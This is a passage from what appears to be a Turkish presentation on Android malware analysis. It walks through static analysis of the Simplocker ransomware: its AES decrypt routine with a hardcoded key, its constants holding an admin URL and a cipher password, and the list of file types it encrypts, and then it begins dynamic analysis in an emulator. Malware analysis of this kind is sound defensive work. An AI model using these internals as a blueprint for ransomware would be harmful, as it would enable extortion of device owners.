  116. 116. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Daha önce bahsedilmemiş olan FilesEncryptor classı içerisindeki decrypt metodu şu şekilde gözükmektedir. Encrypt yaparken kullanılan “jndlasf074hr” anahtarı ile aynı anahtarı kullanarak decrypt yapmaktadır. AES simetrik bir şifreleme algoritması olduğu için encrypt yaparken de decrypt yaparken de aynı anahtarı kullanmaktadır. İncelenecek olan son class Constants.class adlı constant değerleri tutan classdır. ADMIN_URL, CIPHER_PASSWORD gibi string değerlerini tutan constant dosyası encrypt yapılacak dosya formatlarını da EXTENSIONS_TO_ECRYPT adlı array içerisinde “jpeg, jpg, png, gif, pdf, doc vb” gibi göstermektedir. Uygulamanın statik analizi tamamlanmış ve kodun işleyişi hakkında bilgiler edinilmiştir. Yorumlanmış olan uygulamanın işleyişi öngörüldüğü gibi dinamik analiz esnasında incelenecektir. Simplocker Dinamik Analiz Genymotion üzerinde çalıştırılmış olan uygulamadan başarılı bir şekilde çıkış yapılıp yapılmadığı gözlemlenir.

×